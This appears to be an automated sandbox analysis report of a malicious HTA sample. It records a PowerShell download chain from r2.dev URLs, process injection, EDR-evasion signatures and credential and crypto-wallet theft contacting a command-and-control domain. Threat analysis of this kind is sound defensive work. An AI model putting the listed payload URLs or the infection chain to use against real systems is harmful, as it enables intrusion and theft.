                    Ingress Tool Transfer                    		Exfiltration Over Other Network MediumAbuse Accessibility Features
                    CredentialsDomainsDefault Accounts23
                    Command and Scripting Interpreter                    		21
                    Registry Run Keys / Startup Folder                    		1
                    Abuse Elevation Control Mechanism                    		1
                    Abuse Elevation Control Mechanism                    		1
                    Credentials in Registry                    		12
                    File and Directory Discovery                    		Remote Desktop Protocol11
                    Data from Local System                    		11
                    Encrypted Channel                    		Exfiltration Over BluetoothNetwork Denial of Service
                    Email AddressesDNS ServerDomain Accounts2
                    PowerShell                    		Logon Script (Windows)11
                    DLL Side-Loading                    		3
                    Obfuscated Files or Information                    		Security Account Manager157
                    System Information Discovery                    		SMB/Windows Admin Shares1
                    Email Collection                    		3
                    Non-Application Layer Protocol                    		Automated ExfiltrationData Encrypted for Impact
                    Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook312
                    Process Injection                    		2
                    Software Packing                    		NTDS231
                    Security Software Discovery                    		Distributed Component Object ModelInput Capture14
                    Application Layer Protocol                    		Traffic DuplicationData Destruction
                    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                    Registry Run Keys / Startup Folder                    		11
                    DLL Side-Loading                    		LSA Secrets2
                    Process Discovery                    		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts121
                    Masquerading                    		Cached Domain Credentials31
                    Virtualization/Sandbox Evasion                    		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items31
                    Virtualization/Sandbox Evasion                    		DCSync1
                    Application Window Discovery                    		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                    Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job312
                    Process Injection                    		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                    Behavior Graph

                    Hide Legend

                    Legend:

                    • Process
                    • Signature
                    • Created File
                    • DNS/IP Info
                    • Is Dropped
                    • Is Windows Process
                    • Number of created Registry Values
                    • Number of created Files
                    • Visual Basic
                    • Delphi
                    • Java
                    • .Net C# or VB.NET
                    • C, C++ or other language
                    • Is malicious
                    • Internet
                    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1570651 Sample: upgrade.hta Startdate: 07/12/2024 Architecture: WINDOWS Score: 100 116 lomejorerty6.site 2->116 118 pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev 2->118 120 pub-c5a18eb76e034d88899e1f44f859a849.r2.dev 2->120 144 Suricata IDS alerts for network traffic 2->144 146 Malicious sample detected (through community Yara rule) 2->146 148 Multi AV Scanner detection for dropped file 2->148 150 7 other signatures 2->150 12 mshta.exe 1 2->12         started        15 pyexec.exe 2->15         started        17 KNVYINNN.exe 9 2->17         started        19 svchost.exe 2->19         started        signatures3 process4 dnsIp5 170 Suspicious powershell command line found 12->170 22 powershell.exe 16 19 12->22         started        172 Maps a DLL or memory area into another process 15->172 174 Found direct / indirect Syscall (likely to bypass EDR) 15->174 27 cmd.exe 15->27         started        29 pyexec.exe 17->29         started        122 127.0.0.1 unknown unknown 19->122 signatures6 process7 dnsIp8 124 pub-c5a18eb76e034d88899e1f44f859a849.r2.dev 162.159.140.237, 443, 49731 CLOUDFLARENETUS United States 22->124 126 pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev 172.66.0.235, 443, 49730 CLOUDFLARENETUS United States 22->126 74 C:\Users\user\AppData\Roaming\second.exe, PE32+ 22->74 dropped 76 C:\Users\user\AppData\Roaming\KNVYINNN.exe, PE32+ 22->76 dropped 158 Powershell drops PE file 22->158 31 KNVYINNN.exe 9 22->31         started        35 second.exe 11 22->35         started        37 conhost.exe 22->37         started        78 C:\Users\user\AppData\Local\Temp\sfywpwa, PE32+ 27->78 dropped 39 conhost.exe 27->39         started        41 pyexec.exe 29->41         started        file9 signatures10 process11 file12 100 C:\Users\user\python27.dll, PE32 31->100 dropped 102 C:\Users\user\pyexec.exe, PE32 31->102 dropped 104 C:\Users\user\msvcr90.dll, PE32 31->104 dropped 128 Multi AV Scanner detection for dropped file 31->128 130 Drops PE files to the user root directory 31->130 43 pyexec.exe 6 31->43         started        106 C:\Users\user\Virtual.exe, PE32+ 35->106 dropped 108 C:\Users\user\VBoxRT.dll, PE32+ 35->108 dropped 110 C:\Users\user\VBoxDDU.dll, PE32+ 35->110 dropped 112 2 other files (none is malicious) 35->112 dropped 47 Virtual.exe 35->47         started        132 Maps a DLL or memory area into another process 41->132 134 Found direct / indirect Syscall (likely to bypass EDR) 41->134 49 cmd.exe 41->49         started        signatures13 process14 file15 86 C:\Users\user\AppData\...\python27.dll, PE32 43->86 dropped 88 C:\Users\user\AppData\Roaming\...\pyexec.exe, PE32 43->88 dropped 90 C:\Users\user\AppData\Roaming\...\msvcr90.dll, PE32 43->90 dropped 176 Switches to a custom stack to bypass stack traces 43->176 178 Found direct / indirect Syscall (likely to bypass EDR) 43->178 51 pyexec.exe 1 43->51         started        92 C:\Users\user\AppData\Roaming\...\Virtual.exe, PE32+ 47->92 dropped 94 C:\Users\user\AppData\Roaming\...\VBoxRT.dll, PE32+ 47->94 dropped 96 C:\Users\user\AppData\Roaming\...\VBoxDDU.dll, PE32+ 47->96 dropped 98 2 other files (none is malicious) 47->98 dropped 54 Virtual.exe 47->54         started        56 conhost.exe 49->56         started        signatures16 process17 signatures18 152 Maps a DLL or memory area into another process 51->152 154 Switches to a custom stack to bypass stack traces 51->154 156 Found direct / indirect Syscall (likely to bypass EDR) 51->156 58 cmd.exe 5 51->58         started        62 cmd.exe 54->62         started        process19 file20 80 C:\Users\user\AppData\Local\Temp\btbiig, PE32+ 58->80 dropped 82 C:\Users\user\AppData\Local\...\BQE_Fast.exe, PE32+ 58->82 dropped 160 Writes to foreign memory regions 58->160 162 Found hidden mapped module (file has been removed from disk) 58->162 164 Maps a DLL or memory area into another process 58->164 166 Switches to a custom stack to bypass stack traces 58->166 64 BQE_Fast.exe 58->64         started        68 conhost.exe 58->68         started        84 C:\Users\user\AppData\Local\Temp\yawa, PE32+ 62->84 dropped 168 Injects code into the Windows Explorer (explorer.exe) 62->168 70 conhost.exe 62->70         started        72 explorer.exe 62->72         started        signatures21 process22 dnsIp23 114 lomejorerty6.site 104.21.72.125, 443, 49769, 49777 CLOUDFLARENETUS United States 64->114 136 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 64->136 138 Tries to harvest and steal browser information (history, passwords, etc) 64->138 140 Tries to harvest and steal Bitcoin Wallet information 64->140 142 Found direct / indirect Syscall (likely to bypass EDR) 64->142 signatures24

                    Screenshots

                    Thumbnails

                    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                    windows-stand

                    Antivirus, Machine Learning and Genetic Malware Detection

                    Initial Sample

                    SourceDetectionScannerLabelLink
                    upgrade.hta32%ReversingLabsScript-WScript.Trojan.Valyria

                    Dropped Files

                    SourceDetectionScannerLabelLink
                    C:\Users\user\AppData\Local\Temp\yawa100%Joe Sandbox ML
                    C:\Users\user\AppData\Local\Temp\btbiig100%Joe Sandbox ML
                    C:\Users\user\AppData\Local\Temp\sfywpwa100%Joe Sandbox ML
                    C:\Users\user\AppData\Local\Temp\BQE_Fast.exe0%ReversingLabs
                    C:\Users\user\AppData\Local\Temp\yawa63%ReversingLabsWin64.Backdoor.Androm
                    C:\Users\user\AppData\Roaming\AltDaemon\msvcr90.dll0%ReversingLabs
                    C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe0%ReversingLabs
                    C:\Users\user\AppData\Roaming\AltDaemon\python27.dll0%ReversingLabs
                    C:\Users\user\AppData\Roaming\KNVYINNN.exe62%ReversingLabsWin64.Adware.RedCap
                    C:\Users\user\AppData\Roaming\RemoteSvc\VBoxDDU.dll0%ReversingLabs
                    C:\Users\user\AppData\Roaming\RemoteSvc\VBoxRT.dll5%ReversingLabs
                    C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exe0%ReversingLabs
                    C:\Users\user\AppData\Roaming\RemoteSvc\msvcp100.dll0%ReversingLabs
                    C:\Users\user\AppData\Roaming\RemoteSvc\msvcr100.dll0%ReversingLabs
                    C:\Users\user\AppData\Roaming\second.exe42%ReversingLabsWin64.Adware.RedCap
                    C:\Users\user\VBoxDDU.dll0%ReversingLabs
                    C:\Users\user\VBoxRT.dll5%ReversingLabs
                    C:\Users\user\Virtual.exe0%ReversingLabs
                    C:\Users\user\msvcp100.dll0%ReversingLabs
                    C:\Users\user\msvcr100.dll0%ReversingLabs
                    C:\Users\user\msvcr90.dll0%ReversingLabs
                    C:\Users\user\pyexec.exe0%ReversingLabs
                    C:\Users\user\python27.dll0%ReversingLabs

                    Unpacked PE Files

                    ⊘No Antivirus matches

                    Domains

                    ⊘No Antivirus matches

                    URLs

                    SourceDetectionScannerLabelLink
                    https://pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev0%Avira URL Cloudsafe
                    https://pub-c5a18eb76e034d88899e1f44f859a849.r2.dev0%Avira URL Cloudsafe
                    https://pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev/KNVYINNN.exe0%Avira URL Cloudsafe
                    http://c0rl.m%L0%Avira URL Cloudsafe
                    http://www.info-zip.org/0%Avira URL Cloudsafe
                    https://pub-c5a18eb76e034d88899e1f44f859a849.r2.dev/second.exe0%Avira URL Cloudsafe
                    https://lomejorerty6.site/jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B0%Avira URL Cloudsafe
                    http://relaxng.org/ns/structure/1.00%Avira URL Cloudsafe
                    http://www.innotek.de/VirtualBox-settings0%Avira URL Cloudsafe

                    Domains and IPs

                    Contacted Domains

                    NameIPActiveMaliciousAntivirus DetectionReputation
                    pub-c5a18eb76e034d88899e1f44f859a849.r2.dev
                    		162.159.140.237
                    		truefalse
                      		unknown
                      lomejorerty6.site
                      		104.21.72.125
                      		truetrue
                        		unknown
                        pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev
                        		172.66.0.235
                        		truefalse
                          		unknown

                          Contacted URLs

                          NameMaliciousAntivirus DetectionReputation
                          https://pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev/KNVYINNN.exefalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://lomejorerty6.site/jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2Btrue
                          • Avira URL Cloud: safe
                          		unknown
                          https://pub-c5a18eb76e034d88899e1f44f859a849.r2.dev/second.exefalse
                          • Avira URL Cloud: safe
                          		unknown

                          URLs from Memory and Binaries

                          NameSourceMaliciousAntivirus DetectionReputation
                          http://www.openssl.org/support/faq.html....................D:Virtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpfalse
                            		high
                            http://www.vmware.com/0pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              http://www.softwareok.com/?Freeware/Find.Same.Images.OK/Historycmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  http://ocsp.sectigo.com0pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    http://www.softwareok.com/?Freeware/Find.Same.Images.OKcmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://www.vmware.com/interfaces/specifications/vmdk.html#compressedhttp://www.vmware.com/specificatsecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                        		high
                                        http://virtualbox.org/firmware/VBoxEFIDual.fdsecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                          		high
                                          https://contoso.com/Licensepowershell.exe, 00000001.00000002.1961025380.00000000053A8000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            https://g.live.com/odclientsettings/ProdV2.C:svchost.exe, 0000000E.00000003.2060663071.000001B41F6A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2060663071.000001B41F707000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2060663071.000001B41F6E8000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2060663071.000001B41F6F4000.00000004.00000800.00020000.00000000.sdmpfalse
                                              		high
                                              https://pub-c5a18eb76e034d88899e1f44f859a849.r2.devpowershell.exe, 00000001.00000002.2138217471.000000000D891000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                http://virtualbox.org/firmware/VBoxEFI32.fdVBoxEFI64.fdhttp://virtualbox.org/firmware/VBoxEFI64.fdVBsecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                                  		high
                                                  http://www.openssl.org/support/faq.htmlVirtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpfalse
                                                    		high
                                                    http://www.softwareok.de/?Freeware/Find.Same.Images.OKcmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://g.live.com/odclientsettings/Prod.C:svchost.exe, 0000000E.00000003.2060663071.000001B41F672000.00000004.00000800.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://g.live.com/odclientsettings/ProdV2svchost.exe, 0000000E.00000003.2060663071.000001B41F6C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://crl.thawte.com/ThawteTimestampingCA.crl0second.exe, 0000000C.00000003.1968874501.000001DE278F5000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2094292995.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2095424142.0000000002E33000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://virtualbox.org/firmware/VBoxEFI32.fdsecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                                              		high
                                                              http://www.softwareok.de/?seite=faq-Find.Same.Images.OK&faq=0cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://www.softwareok.depyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://contoso.com/powershell.exe, 00000001.00000002.1961025380.00000000053A8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://nuget.org/nuget.exepowershell.exe, 00000001.00000002.1961025380.00000000053A8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://www.softwareok.de/?Freeware/Find.Same.Images.OK/Historycmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://www.softwareok.com/?Download=Find.Same.Images.OKcmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://curl.haxx.se/rfc/cookie_spec.htmlVirtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpfalse
                                                                            		high
                                                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000001.00000002.1961025380.0000000004341000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6svchost.exe, 0000000E.00000003.2060663071.000001B41F6C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                http://www.vmware.com/interfaces/specifications/vmdk.html#compressedsecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                                                                  		high
                                                                                  http://www.vmware.com/schema/ovf/1/envelopesecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                                                                    		high
                                                                                    http://python.org/dev/peps/pep-0263/pyexec.exe, 00000006.00000002.2039080915.0000000066B1A000.00000002.00000001.01000000.00000011.sdmpfalse
                                                                                      		high
                                                                                      http://nuget.org/NuGet.exepowershell.exe, 00000001.00000002.1961025380.00000000053A8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://virtualbox.org/firmware/VBoxEFI64.fdsecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                                                                          		high
                                                                                          https://sectigo.com/CPS0pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000001.00000002.1961025380.0000000004499000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000001.00000002.1961025380.0000000004499000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://www.softwareok.de/?Download=Find.Same.Images.OKcmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  http://crl3.digicerVirtual.exe, 0000000D.00000002.2098463084.0000000002D10000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277043287.00000000038A0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    http://ocsp.thawte.com0second.exe, 0000000C.00000003.1968874501.000001DE278F5000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2094292995.00000000008AB000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000003.2095424142.0000000002E33000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      http://www.virtualbox.org/ovf/machinesecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                                                                                        		high
                                                                                                        https://contoso.com/Iconpowershell.exe, 00000001.00000002.1961025380.00000000053A8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://www.vmware.com/0/pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              https://aka.ms/pscore6lBkqpowershell.exe, 00000001.00000002.1961025380.0000000004341000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                http://www.softwareok.com/?seite=faq-Find.Same.Images.OK&faq=0cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  http://www.???.xx/?search=%spyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtdVirtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpfalse
                                                                                                                      		high
                                                                                                                      http://c0rl.m%LVirtual.exe, 0000000F.00000002.2277043287.00000000038A0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      • Avira URL Cloud: safe
                                                                                                                      		unknown
                                                                                                                      http://www.symauth.com/cps0(pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://github.com/Pester/Pesterpowershell.exe, 00000001.00000002.1961025380.0000000004499000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          http://relaxng.org/ns/structure/1.0allocatingVirtual.exe, 0000000D.00000002.2128921195.00007FFDFB8E5000.00000002.00000001.01000000.00000015.sdmp, Virtual.exe, 0000000F.00000002.2279343631.00007FFDFB085000.00000002.00000001.01000000.0000001D.sdmpfalse
                                                                                                                            		high
                                                                                                                            http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0ypyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96svchost.exe, 0000000E.00000003.2060663071.000001B41F6C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                http://www.symauth.com/rpa00pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  http://www.innotek.de/VirtualBox-settingsVirtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                  		unknown
                                                                                                                                  http://www.info-zip.org/pyexec.exe, 00000004.00000002.1900009727.000000000332A000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003330000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E54000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F11000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003AAB000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004B6D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                  • Avira URL Cloud: safe
                                                                                                                                  		unknown
                                                                                                                                  http://www.vmware.com/specifications/vmdk.html#compressedsecond.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpfalse
